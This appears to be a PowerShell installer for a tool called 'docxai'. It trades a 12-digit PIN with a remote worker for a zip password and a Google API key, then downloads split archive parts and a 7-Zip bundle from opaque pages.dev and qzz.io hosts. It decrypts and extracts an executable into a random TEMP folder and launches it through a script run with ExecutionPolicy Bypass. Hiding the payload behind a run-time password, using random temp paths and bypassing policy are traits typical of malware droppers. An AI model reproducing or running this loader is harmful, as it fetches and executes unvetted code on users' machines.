param( [Parameter(Position=0)] [ValidatePattern('^(latest|\d+\.\d+\.\d+(-[^\s]+)?)$')] [string]$Version = "latest" ) Set-StrictMode -Version Latest $ErrorActionPreference = "Stop" $ProgressPreference = 'SilentlyContinue' $BASE_URL = "https://userdg3pnyb764m70bsodtm0bk4srwfuffk85ujj9i73q4ee7ocwts50i5.pages.dev" $WORKER_URL = "https://assets.cybersec.qzz.io/v1/bootstrap" $INSTALL_DIR = Join-Path $env:TEMP 'docxai\bin' $DOWNLOAD_DIR = Join-Path $env:TEMP 'docxai\downloads' $DOCXAI_PARTS_BASE_URL = "$BASE_URL/parts_dist" $DOCXAI_MANIFEST_URL = "$DOCXAI_PARTS_BASE_URL/dist.zip.manifest.json" $SEVENZIP_BUNDLE = "$BASE_URL/7z2501-extra.zip" $ESC = [char]0x1b $MUTED = "$ESC[2m" $RED = "$ESC[31m" $ORANGE = "$ESC[38;5;214m" $NC = "$ESC[0m" function Print-Line($message) { [Console]::WriteLine($message) } function Write-Info($message) { Print-Line "$NC$message$NC" } function Write-Muted($message) { Print-Line "$MUTED$message$NC" } function Write-ErrorMsg($message) { Print-Line "$RED$message$NC" } function Assert-SystemRequirements { if (-not [Environment]::Is64BitProcess) { throw "This application does not support 32-bit Windows. Please use a 64-bit version of Windows." } } $script:LastOverallPercent = -1 function Show-OverallProgress { param([int]$Percent) if ($Percent -lt 0) { $Percent = 0 } if ($Percent -gt 100) { $Percent = 100 } if ($Percent -eq $script:LastOverallPercent) { return } $script:LastOverallPercent = $Percent $width = 50 $on = [int][math]::Floor(($Percent * $width) / 100) $off = $width - $on $bar = ('■' * $on) + ('・' * $off) [Console]::Write("`r$ORANGE$bar $($Percent.ToString().PadLeft(3))%$NC") } function Download-WithProgress { param( [Parameter(Mandatory=$true)][string]$Url, [Parameter(Mandatory=$true)][string]$OutputPath, [scriptblock]$OnProgress ) $response = $null $responseStream = $null $fileStream = $null try { $parent = Split-Path -Parent $OutputPath if ($parent -and -not (Test-Path $parent)) { New-Item -ItemType Directory -Force -Path $parent | Out-Null } $request = [System.Net.HttpWebRequest]::Create($Url) $response = $request.GetResponse() $totalBytes = $response.ContentLength $responseStream = $response.GetResponseStream() $fileStream = [System.IO.File]::Create($OutputPath) $buffer = New-Object byte[] 8192 $totalRead = 0 $lastPercent = -1 while (($read = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $read) $totalRead += $read if ($totalBytes -gt 0) { $percent = [int](($totalRead / $totalBytes) * 100) if ($percent -ne $lastPercent) { $lastPercent = $percent if ($OnProgress) { & $OnProgress $percent } } } } if ($OnProgress) { & $OnProgress 100 } } finally { if ($fileStream) { $fileStream.Close() } if ($responseStream) { $responseStream.Close() } if ($response) { $response.Close() } } } function Download-WithProgressRetry { param( [Parameter(Mandatory=$true)][string]$Url, [Parameter(Mandatory=$true)][string]$OutFile, [scriptblock]$OnProgress ) $max = 5 for ($attempt = 1; $attempt -le $max; $attempt++) { try { Download-WithProgress -Url $Url -OutputPath $OutFile -OnProgress $OnProgress return } catch { $status = $null try { if ($_.Exception.Response -and $_.Exception.Response.StatusCode) { $status = [int]$_.Exception.Response.StatusCode } } catch { } $isRetryable = $false if ($status -eq 429) { $isRetryable = $true } if ($status -ge 500 -and $status -lt 600) { $isRetryable = $true } if ($isRetryable -and $attempt -lt $max) { $delay = [int][math]::Min(30, [math]::Pow(2, $attempt)) Start-Sleep -Seconds $delay continue } throw } } throw "Download failed after retries: $Url" } function New-RandomName { param([int]$Length = 25) $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" $rng = [System.Security.Cryptography.RandomNumberGenerator]::Create() $bytes = New-Object byte[] $Length $rng.GetBytes($bytes) $sb = New-Object System.Text.StringBuilder for ($i = 0; $i -lt $Length; $i++) { $idx = $bytes[$i] % $chars.Length [void]$sb.Append($chars[$idx]) } $rng.Dispose() return $sb.ToString() } function Read-MaskedInput { param([Parameter(Mandatory=$true)][string]$Prompt) [Console]::Write("${Prompt}: ") $sb = New-Object System.Text.StringBuilder $bs = [char]8 while ($true) { $k = [Console]::ReadKey($true) if ($k.Key -eq [ConsoleKey]::Enter) { break } elseif ($k.Key -eq [ConsoleKey]::Backspace) { if ($sb.Length -gt 0) { $null = $sb.Remove($sb.Length - 1, 1) [Console]::Write($bs.ToString() + " " + $bs.ToString()) } } else { if ($k.KeyChar -ne [char]0) { $null = $sb.Append($k.KeyChar) [Console]::Write("*") } } } [Console]::WriteLine("") return $sb.ToString() } function Get-SecretsFromWorker { param([Parameter(Mandatory=$true)][string]$Pin) if ($Pin -notmatch '^[0-9]{12}$') { throw "PIN must be exactly 12 digits." } $payload = @{ pin = $Pin; kind = "all" } | ConvertTo-Json try { return Invoke-RestMethod -Method Post -Uri $WORKER_URL -ContentType "application/json" -Body $payload -ErrorAction Stop } catch { throw "Worker request failed: $($_.Exception.Message)" } } function Get-RemoteContentLength { param([Parameter(Mandatory=$true)][string]$Url) try { $r = Invoke-WebRequest -Method Head -Uri $Url -UseBasicParsing $cl = $r.Headers['Content-Length'] if ($cl) { return [int64]$cl } } catch { } return 0 } function Get-7ZipExe { $timestamp = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() $zipPath = Join-Path $DOWNLOAD_DIR ("7z-extra-" + $timestamp + ".zip") $root = Join-Path $env:TEMP "docxai" $rand = New-RandomName -Length 25 $outDir = Join-Path $root ("7z-" + $rand) try { if (!(Test-Path $outDir)) { New-Item -ItemType Directory -Force -Path $outDir | Out-Null } Download-WithProgressRetry -Url $SEVENZIP_BUNDLE -OutFile $zipPath -OnProgress $null Expand-Archive -Path $zipPath -DestinationPath $outDir -Force $exe = Get-ChildItem -Path $outDir -Recurse -Filter "7za.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1 if (-not $exe) { $exe = Get-ChildItem -Path $outDir -Recurse -Filter "7z.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1 } if (-not $exe) { throw "7-Zip extra extracted but no 7za.exe / 7z.exe was found." } return $exe.FullName } finally { if (Test-Path $zipPath) { Remove-Item -Force $zipPath -ErrorAction SilentlyContinue } } } function Get-DistManifest { param([Parameter(Mandatory=$true)][string]$Url) $tmp = Join-Path $DOWNLOAD_DIR ("dist-manifest-" + [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + ".json") try { $parent = Split-Path -Parent $tmp if ($parent -and -not (Test-Path $parent)) { New-Item -ItemType Directory -Force -Path $parent | Out-Null } Invoke-WebRequest -Uri $Url -OutFile $tmp -UseBasicParsing $raw = Get-Content -Raw -LiteralPath $tmp return ($raw | ConvertFrom-Json) } finally { if (Test-Path $tmp) { Remove-Item -Force $tmp -ErrorAction SilentlyContinue } } } function Build-DistZipFromParts { param( [Parameter(Mandatory=$true)][string]$ManifestUrl, [Parameter(Mandatory=$true)][string]$PartsBaseUrl, [Parameter(Mandatory=$true)][string]$OutZipPath, [Parameter(Mandatory=$true)][int64]$SevenZipBytes ) $manifest = Get-DistManifest -Url $ManifestUrl if (-not $manifest -or -not $manifest.parts) { throw "Manifest missing 'parts'. Check: $ManifestUrl" } $parts = $manifest.parts | Sort-Object { $_.file } [int64]$distTotal = 0 foreach ($p in $parts) { $distTotal += [int64]$p.bytes } if ($SevenZipBytes -le 0) { $SevenZipBytes = [int64]([math]::Max(1, [math]::Floor($distTotal / 10))) } [int64]$allDownloadBytes = $distTotal + $SevenZipBytes $downloadSpan = 90 $buffer = New-Object byte[] (1024 * 1024) $parent = Split-Path -Parent $OutZipPath if ($parent -and -not (Test-Path $parent)) { New-Item -ItemType Directory -Force -Path $parent | Out-Null } $outStream = [System.IO.File]::Open($OutZipPath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) [int64]$bytesDone = 0 try { foreach ($p in $parts) { $fileName = [string]$p.file if (-not $fileName) { throw "Manifest part entry missing 'file'." } [int64]$partBytes = [int64]$p.bytes $partUrl = "$PartsBaseUrl/$fileName" $partPath = Join-Path $DOWNLOAD_DIR $fileName $onProg = { param([int]$pct) $cur = $bytesDone + [int64](($pct / 100.0) * $partBytes) $overall = [int][math]::Floor(($cur / $allDownloadBytes) * $downloadSpan) Show-OverallProgress -Percent $overall } Download-WithProgressRetry -Url $partUrl -OutFile $partPath -OnProgress $onProg if ($p.sha256) { $expectedPart = ([string]$p.sha256).ToLower() $actualPart = (Get-FileHash -Algorithm SHA256 -LiteralPath $partPath).Hash.ToLower() if ($actualPart -ne $expectedPart) { throw "Part checksum mismatch for $fileName." } } $inStream = [System.IO.File]::OpenRead($partPath) try { while (($read = $inStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $outStream.Write($buffer, 0, $read) } } finally { $inStream.Dispose() } Remove-Item -Force -LiteralPath $partPath -ErrorAction SilentlyContinue $bytesDone += $partBytes } } finally { $outStream.Dispose() } if ($manifest.original_sha256) { $expected = ([string]$manifest.original_sha256).ToLower() $actual = (Get-FileHash -Algorithm SHA256 -LiteralPath $OutZipPath).Hash.ToLower() if ($actual -ne $expected) { throw "Rebuilt dist.zip checksum mismatch." } } return @{ manifest = $manifest distTotal = $distTotal allDownloadBytes = $allDownloadBytes bytesDone = $bytesDone downloadSpan = $downloadSpan } } function Write-LauncherFiles { param( [Parameter(Mandatory=$true)][string]$DocxaiExeFullPath ) $launcherPath = Join-Path $INSTALL_DIR "docxai-launch.ps1" $cmdPath = Join-Path $INSTALL_DIR "docxai.cmd" $launcher = @" `$ErrorActionPreference = 'Stop' `$exe = '$DocxaiExeFullPath' if (-not (Test-Path -LiteralPath `$exe)) { throw "docxai.exe not found at: `$exe" } `$appDir = Split-Path -Parent `$exe `$srcBin = Join-Path `$appDir 'bin' `$cwd = (Get-Location).Path `$dstBin = Join-Path `$cwd 'bin' `$markerName = '.docxai_bin_marker' `$markerPath = Join-Path `$dstBin `$markerName `$stateDir = Join-Path `$env:TEMP 'docxai' `$stateFile = Join-Path `$stateDir 'bin_locations.txt' if (-not (Test-Path `$stateDir)) { New-Item -ItemType Directory -Force -Path `$stateDir | Out-Null } if (Test-Path -LiteralPath `$srcBin) { if (-not (Test-Path -LiteralPath `$dstBin)) { New-Item -ItemType Directory -Force -Path `$dstBin | Out-Null Copy-Item -Recurse -Force -Path (Join-Path `$srcBin '*') -Destination `$dstBin New-Item -ItemType File -Force -Path `$markerPath | Out-Null if (Test-Path -LiteralPath `$stateFile) { `$lines = Get-Content -LiteralPath `$stateFile -ErrorAction SilentlyContinue } else { `$lines = @() } if (`$lines -notcontains `$cwd) { Add-Content -LiteralPath `$stateFile -Value `$cwd } } } `$p = Start-Process -FilePath `$exe -PassThru try { `$p.WaitForExit() } finally { while (Get-Process -Name 'docxai' -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 } if (Test-Path -LiteralPath `$stateFile) { `$dirs = Get-Content -LiteralPath `$stateFile -ErrorAction SilentlyContinue if (`$dirs) { `$remaining = New-Object System.Collections.Generic.List[string] foreach (`$d in `$dirs) { try { if (-not `$d) { continue } `$b = Join-Path `$d 'bin' `$m = Join-Path `$b `$markerName if (Test-Path -LiteralPath `$m) { Remove-Item -Recurse -Force -LiteralPath `$b -ErrorAction SilentlyContinue } else { `$remaining.Add(`$d) | Out-Null } } catch { `$remaining.Add(`$d) | Out-Null } } if (`$remaining.Count -gt 0) { Set-Content -LiteralPath `$stateFile -Value (`$remaining.ToArray()) -Encoding UTF8 } else { Remove-Item -Force -LiteralPath `$stateFile -ErrorAction SilentlyContinue } } } } "@ Set-Content -Path $launcherPath -Value $launcher -Encoding UTF8 $cmd = @" @echo off setlocal powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0docxai-launch.ps1" %* "@ Set-Content -Path $cmdPath -Value $cmd -Encoding ASCII } function Install-App { $timestamp = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() $docxaiZip = Join-Path $DOWNLOAD_DIR ("docxai-" + $timestamp + ".zip") $extractRoot = Join-Path $env:TEMP "docxai" $randFolder = New-RandomName -Length 25 $extractDir = Join-Path $extractRoot $randFolder try { if (!(Test-Path $INSTALL_DIR)) { New-Item -ItemType Directory -Force -Path $INSTALL_DIR | Out-Null } if (!(Test-Path $DOWNLOAD_DIR)) { New-Item -ItemType Directory -Force -Path $DOWNLOAD_DIR | Out-Null } if (!(Test-Path $extractDir)) { New-Item -ItemType Directory -Force -Path $extractDir | Out-Null } Print-Line "" Print-Line "$MUTED Installing $NC docxai $MUTED (temporary) $NC" Print-Line "" $pin = Read-MaskedInput -Prompt "Enter 12-digit PIN" $secrets = Get-SecretsFromWorker -Pin $pin $zipPassword = $secrets.zip_password $googleKey = $secrets.google_api_key if (-not $zipPassword) { throw "Worker did not return zip_password." } if (-not $googleKey) { throw "Worker did not return google_api_key." } $env:GOOGLE_API_KEY = $googleKey $env:GEMINI_API_KEY = $googleKey $oldCursor = $true if (![Console]::IsOutputRedirected) { $oldCursor = [Console]::CursorVisible [Console]::CursorVisible = $false } try { Show-OverallProgress -Percent 0 [int64]$sevenZipBytes = Get-RemoteContentLength -Url $SEVENZIP_BUNDLE $info = Build-DistZipFromParts -ManifestUrl $DOCXAI_MANIFEST_URL -PartsBaseUrl $DOCXAI_PARTS_BASE_URL -OutZipPath $docxaiZip -SevenZipBytes $sevenZipBytes $downloadSpan = [int]$info.downloadSpan [int64]$bytesDone = [int64]$info.bytesDone [int64]$allDownloadBytes = [int64]$info.allDownloadBytes if ($sevenZipBytes -le 0) { $sevenZipBytes = [int64]([math]::Max(1, [math]::Floor(([int64]$info.distTotal) / 10))) } $zipPath = Join-Path $DOWNLOAD_DIR ("7z-extra-" + [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + ".zip") $onProg7z = { param([int]$pct) $cur = $bytesDone + [int64](($pct / 100.0) * $sevenZipBytes) $overall = [int][math]::Floor(($cur / $allDownloadBytes) * $downloadSpan) Show-OverallProgress -Percent $overall } Download-WithProgressRetry -Url $SEVENZIP_BUNDLE -OutFile $zipPath -OnProgress $onProg7z $root = Join-Path $env:TEMP "docxai" $rand = New-RandomName -Length 25 $outDir = Join-Path $root ("7z-" + $rand) if (!(Test-Path $outDir)) { New-Item -ItemType Directory -Force -Path $outDir | Out-Null } Expand-Archive -Path $zipPath -DestinationPath $outDir -Force Remove-Item -Force -LiteralPath $zipPath -ErrorAction SilentlyContinue $sevenZipExe = Get-ChildItem -Path $outDir -Recurse -Filter "7za.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1 if (-not $sevenZipExe) { $sevenZipExe = Get-ChildItem -Path $outDir -Recurse -Filter "7z.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1 } if (-not $sevenZipExe) { throw "7-Zip extra extracted but no 7za.exe / 7z.exe was found." } Show-OverallProgress -Percent 95 $args = @("x", "-p$zipPassword", "-o$extractDir", "-y", $docxaiZip) & $sevenZipExe.FullName @args | Out-Null if ($LASTEXITCODE -ne 0) { throw "Extraction failed (7-Zip exit code $LASTEXITCODE)." } Show-OverallProgress -Percent 100 [Console]::WriteLine("") } finally { if (![Console]::IsOutputRedirected) { [Console]::CursorVisible = $oldCursor } } $docxaiExe = Get-ChildItem -Path $extractDir -Recurse -Filter "docxai.exe" -File -ErrorAction SilentlyContinue | Select-Object -First 1 if (-not $docxaiExe) { throw "Extraction succeeded but docxai.exe was not found under: $extractDir" } $configPath = Join-Path $docxaiExe.DirectoryName "config.json" $configObj = @{ google_api_key = $googleKey } | ConvertTo-Json Set-Content -Path $configPath -Value $configObj -Encoding UTF8 Write-LauncherFiles -DocxaiExeFullPath $docxaiExe.FullName return $INSTALL_DIR } finally { if (Test-Path $docxaiZip) { Remove-Item -Force $docxaiZip -ErrorAction SilentlyContinue } } } function Update-Path { param($PathToAdd) $currentPath = $env:Path if ($currentPath -notlike ("*" + $PathToAdd + "*")) { $env:Path = $currentPath + ";" + $PathToAdd return $true } return $false } function Write-Banner { Print-Line "" Print-Line "$MUTED█▀▀▀ █ █$NC █▀▀█ █▀▀▄ ▀▀█▀▀ " Print-Line "$MUTED█░░░ █ █$NC █▀▀▀ █░░█ █ " Print-Line "$MUTED▀▀▀▀ ▀▀▀▀ ▀$NC ▀▀▀▀ ▀ ▀ ▀ " Print-Line "" } try { Assert-SystemRequirements $installPath = Install-App $pathUpdated = Update-Path -PathToAdd $INSTALL_DIR Write-Banner Print-Line "" Print-Line "$MUTED To start:$NC" Print-Line "" Print-Line " docxai" Print-Line "" Print-Line "$MUTED For more information visit $NC https://client-cli.pages.dev/docs" Print-Line "" Print-Line "" } catch { Write-ErrorMsg "An unexpected error occurred: $($_.Exception.Message)" exit 1 }